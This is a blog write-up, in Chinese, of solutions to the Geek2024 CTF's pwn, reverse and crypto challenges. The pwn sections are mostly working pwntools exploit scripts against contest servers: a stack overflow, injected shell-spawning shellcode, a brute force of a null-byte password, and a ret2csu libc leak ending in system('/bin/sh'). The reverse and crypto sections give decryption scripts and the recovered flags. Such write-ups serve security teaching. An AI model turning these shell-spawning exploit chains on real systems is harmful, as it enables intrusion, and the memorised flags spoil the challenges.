Geek2024部分Reverse与Pwn

Pwn

签到

限制1秒输入,那就自动实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from struct import pack
from ctypes import *


debug = 1
if debug:
io = process(filename)
else:
io = remote('nc1.ctfplus.cn',12304)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()

def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

ru("challenge.")
s('\n')
s=io.recvuntil(" = ", drop=True)
#print(s)
s1=eval(s)
#print(s1)
sl(str(s1).encode())
inter()

stackover

栈溢出后跳到system,不能直接跳到key,因为key一开始会销毁栈,导致NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *


filename='./stackover'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('nc1.ctfplus.cn',19265)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)

key=0x40072C

payload=b'a'*20+p64(key)
#debug()
sla("Welcome to geek,what's you name?",payload)
inter()

ezshellcode

shellcode长度足够,直接用系统生成的,之后溢出返回到gift修改bss段权限\

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *


filename='./shellcode'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('nc1.ctfplus.cn',32143)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)

gift=0x401256

shellcode=asm(shellcraft.sh())
shellcode=shellcode.ljust(0x18f,b'\x00')
sla("do you know shellcode?",shellcode)
payload=b'a'*0x20+p64(gift)
sla("please input your name:",payload)
inter()

000000

urandom生成随机密码,利用strcmp匹配到’\00’结束爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

filename='./main'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = process(filename)
else:
io = remote('nc1.ctfplus.cn',42198)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)

while True:
try:
io = remote("nc1.ctfplus.cn",34516)
sla("Enter the password: ",b'\x00')
response1 = io.recvline()
response = io.recvline()
#print(response)
if b'SYC' in response:
print(response)
inter()
break
else:
io.close()
except EOFError:
io.close()
continue

su

文件名已经提示csu

直接套模板打,最后失败的时候加个ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *


filename='./csu'
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = process(filename)
else:
io = remote('nc1.ctfplus.cn',27363)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

write_got = elf.got['write']
main_addr = elf.symbols['main']
pop_rdi_ret=0x400903
ret=0x4005d6
csu_front_addr=0x4008E0
csu_end_addr=0x4008FA

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = b'a'*0x80+b'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
#debug()
s(payload)

sla("[3] exit.",b'1')
csu(0, 1, write_got,1,write_got, 0x8, main_addr)
write_addr=get_addr()
print("write:",hex(write_addr))
libc_base=write_addr-libc.symbols['write']
sys_addr=libc.symbols['system']+libc_base
bin_addr=next(libc.search('/bin/sh'))+libc_base
sla("[3] exit.",b'1')
payload=b'a'*0x88+p64(ret)+p64(pop_rdi_ret)+p64(bin_addr)+p64(sys_addr)
sl(payload)
inter()

Reverse

ezzzz

三个注意点,一个是一开始的delta,第二个是v0和v1是int,最后异或(sum+i),那么for要从i=31逆着来

不熟悉的话尝试写正向加密比较数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(int32_t v[2], uint32_t const key[4]) {
int i;
int32_t v0 = v[0], v1 = v[1];
uint32_t delta = 1640531527;
uint32_t sum = (-32)*delta;
//int32_t sum=0;
for (i=31; i >=0; i--) {
//printf("%d,%d,%d\n",v0,v1,sum);
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])^(sum+i);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])^(sum+i);
// v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])^(sum+i);
// sum -= delta;
// v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])^(sum+i);
// printf("%d,%d,%d\n",v0,v1,sum);

}
v[0] = v0; v[1] = v1;
}

int main() {
int32_t const k[4] = {'G','E','E','K'};
int32_t enc[] = {0xf1f186b2,0x5a96c782,0xe6c63a0b,0x70b61b5c,0xed6bf848,0x89700d6b,0x09381b5c,0xcb2f24fa,0xb1c79e79,0x6d822d9c,0xdcc55f76,0x0f780e75,0x0d65c4af,0xb89084a9,0xe978c382,0x7a8dd810,0x91f28df3,0xa84dbaca,0xb4d75f75,0xf19af8e5,0xb90f80fc,0xfc10a5c3,0xd20679fb,0x2bc734c8,0xccb31c92,0x1ac52ad3,0xe7f922b7,0x2e24d923,0xfb4ce9f5,0x3548a9e5,0x71ebc25a,0xdf38862e,0x10059186,0x32750946,0x3dd4d54c,0x905abc36,0xc26d5312,0xd2cd42c0,0x772d99e5,0x0cd4c466,0x5c3178d6,0x3a7ffe71,0xada251c0,0x70568d5a,0x5798c292,0x1ec0f7fc,0x3ae9d841,0x84607629,0x30ca6a2d,0xccef51d2,0xa1a80854,0x91b0f82d,0x686ca347,0x74c52d0f,0x0f26449f,0xc28d362c,0x86f3311b,0x8adc4fb1,0xa4497e34,0xe0f0915d};
//printf("%d",strlen(enc));
//int32_t enc[] = {'S','Y'};
for(int i=0; i<60; i+=2){
decrypt(&enc[i], k);
}
for (int i = 0; i < 60; i++) {
printf("%c", (enc[i]&0x7f));
}
return 0;
}
//SYC{g0od_j0b_wweLCoMeToooSSSyC_zz_1_et3start_yoUr_j0urney!!}

ez_re

去除花指令后发现是aes

key和iv可以调试获得,这里的key不是phKey也不是phKey作为地址对应的内容,而是上面pbSecret的值

标准的aes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import AES
import struct

pbSecret = bytes([0xAD, 0xDD, 0xDB, 0x08, 0x2D, 0xD9, 0x4D, 0xCA,
0xBA, 0xD5, 0xD7, 0x56, 0x39, 0xEA, 0xC9, 0xDA])

initial_iv = struct.pack('<4I', 0x941E70C1, 0x013142F4, 0x550A3FB0, 0xD399FFA1)
v10 = struct.pack('<2Q', 0xFEF76ECE6FA34BA2, 0x67735D6CF76837EC)


final_iv = bytes(a ^ b for a, b in zip(initial_iv, v10))

v9 = [
0x754CE0DD, 0xB8143397, 0x1119B617, 0x23608A61,
0x1AE21646, 0x265BC365, 0x30ADF568, 0xC64BEEB1,
0xBB9EB5AB, 0xC24A9573, 0xA9CBEF78, 0xA0E171BE
]
ciphertext = b''.join(struct.pack('<I', x) for x in v9)


cipher = AES.new(pbSecret, AES.MODE_CBC, final_iv)
decrypted = cipher.decrypt(ciphertext)

# 去除填充(PKCS#7)
pad_len = decrypted[-1]
plaintext = decrypted[:-pad_len]


print(plaintext.decode())

Aes!

标准aes,直接解密不对,跟踪一下流程发现没别的操作或者修改数据

findcrypt一下发现没识别到,大概率可能是修改了s盒

用一下修改s盒的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
class IAES:
global new_s_box
def __init__(self):
self.Nk = 4
self.Nb = 4
self.Nr = 10

def arrays(self, raws):
Nb = []
for i in range(4):
Nb = Nb + [raws[4 * 0 + i], raws[4 * 1 + i], raws[4 * 2 + i], raws[4 * 3 + i]]
return Nb

def Inv_arrays(self, raws):
Inv_raws = []
for i in range(4):
Inv_raws = Inv_raws + [raws[4 * 0 + i], raws[4 * 1 + i], raws[4 * 2 + i], raws[4 * 3 + i]]
return Inv_raws

def view(self, raws):
raws = self.Inv_arrays(raws)
raws = ''.join([x.to_bytes(1, byteorder='big').hex() for x in raws])
#print(raws)

def view2(self, list):
for i in range(len(list)):
print(format(list[i], '2x'), end=' ')
if i & 3 == 3: # i%4 == 3
print('\n', end='')
#print('\n', end='')

def AddRoundKey(self, raws, Keys):
AddRoundKey = []
for raw, Key in zip(raws, Keys):
AddRoundKey.append(raw ^ Key)
return AddRoundKey

def SubBytes(self, raws):
S_box=new_s_box
raws_S_box = []
for raw in raws:
raws_S_box.append(S_box[raw])
return raws_S_box

def InvSubBytes(self, raws,inv_s_box):
IS_box = inv_s_box
raws_IS_box = []
for raw in raws:
raws_IS_box.append(IS_box[raw])
return raws_IS_box

def InvShiftRows(self, raws):
s13 = raws.pop(7)
raws.insert(4, s13)
s2223 = raws[10:12]
del raws[10:12]
raws[8:0] = s2223
s313233 = raws[13:16]
del raws[13:16]
raws[12:0] = s313233
return raws

def GMUL(self, a, b): # Russian Peasant Multiplication algorithm
p = 0
while a and b:
if b & 1: # b%2
p = p ^ a
if a & 0x80: # a=a*x^7(a>0),a >= 2**7(128)
a = (a << 1) ^ 0x11b # 0x11b = x^8 + x^4 + x^3 + x + 1 (0b100011011)
else:
a = a << 1
b = b >> 1
return p

def InvMixColumns(self, raws):
for i in range(4):
raws[0 * 4 + i], \
raws[1 * 4 + i], \
raws[2 * 4 + i], \
raws[3 * 4 + i] \
= \
self.GMUL(0x0e, raws[0 * 4 + i]) ^ self.GMUL(0x0b, raws[1 * 4 + i]) ^ self.GMUL(0x0d, raws[
2 * 4 + i]) ^ self.GMUL(0x09, raws[3 * 4 + i]), \
self.GMUL(0x09, raws[0 * 4 + i]) ^ self.GMUL(0x0e, raws[1 * 4 + i]) ^ self.GMUL(0x0b, raws[
2 * 4 + i]) ^ self.GMUL(0x0d, raws[3 * 4 + i]), \
self.GMUL(0x0d, raws[0 * 4 + i]) ^ self.GMUL(0x09, raws[1 * 4 + i]) ^ self.GMUL(0x0e, raws[
2 * 4 + i]) ^ self.GMUL(0x0b, raws[3 * 4 + i]), \
self.GMUL(0x0b, raws[0 * 4 + i]) ^ self.GMUL(0x0d, raws[1 * 4 + i]) ^ self.GMUL(0x09, raws[
2 * 4 + i]) ^ self.GMUL(0x0e, raws[3 * 4 + i])
return raws

def RotWord(self, temp):
b0 = temp.pop(0)
temp.insert(3, b0)
return temp

def SubWord(self, temp):
temp = self.SubBytes(temp)
return temp

def KeyExpansion(self, key):
i = 0
w = [[0]] * (self.Nb * (self.Nr + 1))
Rcon = [[0x01, 0x00, 0x00, 0x00],
[0x02, 0x00, 0x00, 0x00],
[0x04, 0x00, 0x00, 0x00],
[0x08, 0x00, 0x00, 0x00],
[0x10, 0x00, 0x00, 0x00],
[0x20, 0x00, 0x00, 0x00],
[0x40, 0x00, 0x00, 0x00],
[0x80, 0x00, 0x00, 0x00],
[0x1B, 0x00, 0x00, 0x00],
[0x36, 0x00, 0x00, 0x00]
]
while i < self.Nk:
w[i] = ([key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3]])
i = i + 1

i = self.Nk

while i < self.Nb * (self.Nr + 1):
temp = w[i - 1].copy()
if i % self.Nk == 0:
temp = self.SubWord(self.RotWord(temp))
temp2 = []
for temp1, Rcon1 in zip(temp, Rcon[(i // self.Nk) - 1]):
temp2.append(temp1 ^ Rcon1)
temp = temp2
elif self.Nk > 6 and i % self.Nk == 4:
temp = self.SubWord(temp)
w_temp = []
for w1, temp1 in zip(w[i - self.Nk], temp):
w_temp.append(w1 ^ temp1)
w[i] = w_temp
i = i + 1
return w

def IAES(self, IInput, Cipher_Key,inv_s_box):
IInput = [IInput1 for IInput1 in IInput]
Cipher_Key = [Cipher_Key1 for Cipher_Key1 in Cipher_Key]
KeyExpansion = self.KeyExpansion(Cipher_Key)
keys = []
for Key_index in range(len(KeyExpansion) // 4):
keys_temp = (KeyExpansion[4 * Key_index] + KeyExpansion[4 * Key_index + 1] + KeyExpansion[
4 * Key_index + 2] + KeyExpansion[4 * Key_index + 3])
keys_temp = self.arrays(keys_temp)
keys.append(keys_temp)
IInput = self.arrays(IInput)
self.view(IInput)
self.view(keys[-1])
IInput = self.AddRoundKey(IInput, keys[-1])
self.view(IInput)
for index in range(self.Nr - 1):
IInput = self.InvShiftRows(IInput)
self.view(IInput)
IInput = self.InvSubBytes(IInput,inv_s_box)
self.view(IInput)
self.view(keys[-1 - 1 - index])
IInput = self.AddRoundKey(IInput, keys[-1 - 1 - index])
self.view(IInput)
IInput = self.InvMixColumns(IInput)
self.view(IInput)
IInput = self.InvShiftRows(IInput)
self.view(IInput)
IInput = self.InvSubBytes(IInput,inv_s_box)
self.view(IInput)
self.view(keys[0])
IInput = self.AddRoundKey(IInput, keys[0])
self.view(IInput)
IInput = self.Inv_arrays(IInput)
IInput = bytes(IInput)
return IInput


S_box = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]

new_s_box = [0x7C, 0xCA, 0x7B, 0x77, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0x47, 0xAB, 0x76, 0x63, 0x82, 0xC9,
0x7D, 0xFA, 0x59, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x97, 0xCD,
0x0C, 0x13, 0xEC, 0x5F, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C,
0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D,
0x0F, 0xB0, 0x54, 0xBB, 0x16, 0x87]

new_contrary_sbox = [0] * 256

for i in range(256):
line = (new_s_box[i] & 0xf0) >> 4

rol = new_s_box[i] & 0xf

new_contrary_sbox[(line * 16) + rol] = i


IInput = bytes.fromhex('99E8B801C882519312EE8964E7EF638D')
Cipher_Key = bytes(b'SYCLOVERSYCLOVER')
Out = IAES().IAES(IInput, Cipher_Key,new_contrary_sbox)
print(Out)
#b'SYC{B3l1eue_Th@t'
IInput = bytes.fromhex('51DF5D7839AA3962A0B4503047302106')
Cipher_Key = bytes(b'SYCLOVERSYCLOVER')
Out = IAES().IAES(IInput, Cipher_Key,new_contrary_sbox)
print(Out)
#b'_y0u__l3aRn_Aes}'

blasting_master

四个字母一组去爆破,一次往后移一位,总共40次循环

EVP加密后生成密文,暂且不管

想着是patch然后一次加密一次判断,但是没有合适的指令可以修改,于是想到修改特定的比较长度,然后一位位爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from random import choice
from string import ascii_letters, digits

filename='./main'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')


def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)

s2='SYC{W0w!y0u_@re_th3_BeSt_blasting_Exp3rt!'
s1='1234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM!@#$^+=%&*()_-{}~/.'
i=0
j=0
while True:
try:
io=process(filename)
s=s2
s+=s1[j]
sl(s.encode())
recv0=io.recvline()
recv1=io.recvline()
if b"Congratulations!" in recv1:
s2+=s1[j]
print(s2)
i+=1
break
j+=1
io.close()
except EOFError:
io.close()
continue

按这个思路走不到底,爆到3r跑不下去了,遇到0就会报错

一开始以为是0,走下去发现后面爆不出来了,尝试把0删去

发现又在t卡住了,往下走能走通

1
SYC{W0w!y0u_@re_th3_BeSt_blasting_Exp3rt!!}

you_do_what

v17->v4->v25+2

后面发现v25+2好像和输入还有关系

input进去之后直接是异或,又因为文件是gif,考虑根据文件头推出前几位异或的字符,发现是qwerty

加上input是16的倍数

那就猜一下key

1
2
3
4
5
6
data=open('E:\\CTF_Attachments\\Geek\\2024\Re\\you_do_what\\Dusk_witnesses_devout_believers.gif','rb').read()
data=bytearray(data)
key=list(b'qwertyuiopasdfgh')
for i in range(len(data) - 1):
data[i] = data[i] ^ key[i % len(key)]
open('1.gif', 'wb').write(data)

发现是对的

v26和v25+2最后还是不相等,逆不明白,暂时就先这样

Crypto

ezRSA

m高位泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
n = 98776098002891477120992675696155328927086322526307976337988006606436135336004472363084175941067711391936982491358233723506086793155908108571814951698009309071244571404116817767749308434991695075517682979438837852005396491907180020541510210086588426719828012276157990720969176680296088209573781988504138607511
c = 9379399412697943604731810117788765980709097637865795846842608472521416662350816995261599566999896411508374352899659705171307916591351157861393506101348972544843696221631571188094524310759046142743046919075577350821523746192424192386688583922197969461446371843309934880019670502610876840610213491163201385965
h = 111518648179416351438603824560360041496706848494616308866057817087295675324528913254309319829895222661760009533326673551072163865
e = 3
# m=(h+2023)//2024
# print(m)
m1=55098146333703730947926790790691720107068601034889480665048328600442527334253415639480889244019378785454550164687091675430912
R.<x> = PolynomialRing(Zmod(n))
f = (m1 + x)^e - c
res = f.small_roots(X = 2^150,beta = 1)
if res != []:
m = m1 + res[0]
print(long_to_bytes(int(m)))
#SYC{crypto_is_very_interesting_why_dont_you_join_us}

Geek2024部分Reverse与Pwn
https://j1ya-22.github.io/2024/11/24/Geek2024部分Reverse与Pwn/
作者
j1ya
发布于
2024年11月24日
许可协议